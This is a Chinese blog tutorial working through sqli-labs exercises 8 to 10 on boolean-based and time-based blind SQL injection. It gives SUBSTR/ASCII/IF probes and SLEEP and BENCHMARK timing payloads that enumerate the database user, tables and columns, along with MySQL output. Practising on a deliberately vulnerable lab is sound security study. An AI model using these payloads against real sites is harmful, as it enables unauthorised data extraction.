SQL注入之旅 : Sqli Labs Part 3 - GET盲注

作者: 分类: Sql-Injection 时间: 2017-04-11 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第8,9,10三个实验,布尔型和时间型盲注(Blind SQL Injection, Boolean-Based | Time-Based),布尔型的话根据查询对错页面会有变化但不回显错误,而时间型页面不回显任何错误,也就没办法判断是否对错。可以看下老外(口音很操蛋就是了)的视频:布尔型时间型,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT LENGTH(USER());
SELECT IF((SELECT LENGTH(USER()))=14,1,2);
SELECT IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2);
SELECT IF((SUBSTR(USER(),1,1)= BINARY CHAR(114)),1,2);


SELECT IF(((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=4),1,2);
SELECT IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=ORD('e')),1,2);
SELECT 1=IF((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=6,1,2);


SELECT 1=IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name=0x656d61696c73)=2,1,2);
SELECT 1=IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name=0x656d61696c73 LIMIT 0,1),1,1))=105,1,2);


SELECT SLEEP(3);
SELECT BENCHMARK(1000000,SHA(1));
SELECT IF((SELECT DATABASE())="security",SLEEP(3),null);

AND IF((SELECT DATABASE())=0x7365637572697479,SLEEP(5),1)--+
AND IF((SELECT DATABASE())=0x7365637572697479,benchmark(10000000,sha(1)),1)--+

0x03 注入过程

两个类型的盲注,下面会讲下原理,实验中使用的语句也罗列在上面了,建议自己在数据里都试一遍,对于理解原理十分有帮助。

首先SELECT LENGTH(USER())计算长度,用于得到所要内容的长度,而SUBSTR(str,pos,len)则是截取str里从pos开始的len位。结合这两个函数,我们可以先的到长度,然后一位一位取出来判断。
IF(expr1,expr2,expr3)函数则是判断expr1是否成立,True则取expr2Falseexpr3

mysql> SELECT LENGTH(USER());
+----------------+
| LENGTH(USER()) |
+----------------+
|             14 |
+----------------+
1 row in set (0.00 sec)

mysql> SELECT IF((SELECT LENGTH(USER()))=14,1,2);
+------------------------------------+
| IF((SELECT LENGTH(USER()))=14,1,2) |
+------------------------------------+
|                                  1 |
+------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2);
+-------------------------------------------+
| IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2) |
+-------------------------------------------+
|                                         1 |
+-------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT IF((SUBSTR(USER(),1,1)= BINARY CHAR(114)),1,2);
+------------------------------------------------+
| IF((SUBSTR(USER(),1,1)= BINARY CHAR(114)),1,2) |
+------------------------------------------------+
|                                              1 |
+------------------------------------------------+
1 row in set (0.06 sec)

这边为了方便比较,用ASCII()将字符转为Ascii来比较,否则就得用BINARY关键字来限制区分大小写。通过上面的语句,我们就可以在不直接查看内容的情况下,猜到内容。

下面我们到网页上尝试一下,构造下面两个语句:

' AND  1=IF((ASCII(SUBSTR(USER(),1,1))= 0x71),1,2); --+
' AND  1=IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2); --+

前者会返回空白的页面(即' AND 1=2),后者会返回正确的页面(即' AND 1=1)

接下来用下面的语句结合脚本(二分法)或者手动尝试即可得到想要的内容:

SELECT IF(((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=4),1,2);
SELECT IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=ORD('e')),1,2);
SELECT 1=IF((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=6,1,2);


SELECT 1=IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name=0x656d61696c73)=2,1,2);
SELECT 1=IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name=0x656d61696c73 LIMIT 0,1),1,1))=105,1,2);

其中LIMIT限制查询第n条记录。

接下来看一下基于时间的盲注,关键函数有两个:

  • SLEEP(duration)
  • BENCHMARK(count,expr)

前者是睡眠N秒,后者是执行countexpr,基于时间的盲注的思想在于:页面不回显错误,所以改用页面返回时间来猜解内容。

mysql> SELECT SLEEP(3);
+----------+
| SLEEP(3) |
+----------+
|        0 |
+----------+
1 row in set (3.00 sec)

mysql> SELECT BENCHMARK(10000000,SHA(1));
+----------------------------+
| BENCHMARK(10000000,SHA(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (3.97 sec)

mysql> SELECT IF((SELECT DATABASE())="security",SLEEP(3),null);
+--------------------------------------------------+
| IF((SELECT DATABASE())="security",SLEEP(3),null) |
+--------------------------------------------------+
|                                                0 |
+--------------------------------------------------+
1 row in set (3.00 sec)

注意看执行时间,这样我们就可以通过页面响应时间来判断了。

AND IF((SELECT DATABASE())=0x7365637572697479,SLEEP(5),1)--+
AND IF((SELECT DATABASE())=0x7365637572697479,benchmark(10000000,sha(1)),1)--+

注意看浏览器页面相应时间(标签页小圈圈一直转)。

以前就是盲注的一个探究,后续的一些什么查表没有写命令出来,如果前面的教程有看的话,完全可以构造出来的。自行解决。

小结

盲注也是一个贼有意思的注入类型,虽然实际中我没遇到(自己很少去尝试...),但是研究后还是对注入有了不同的认识 :)

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论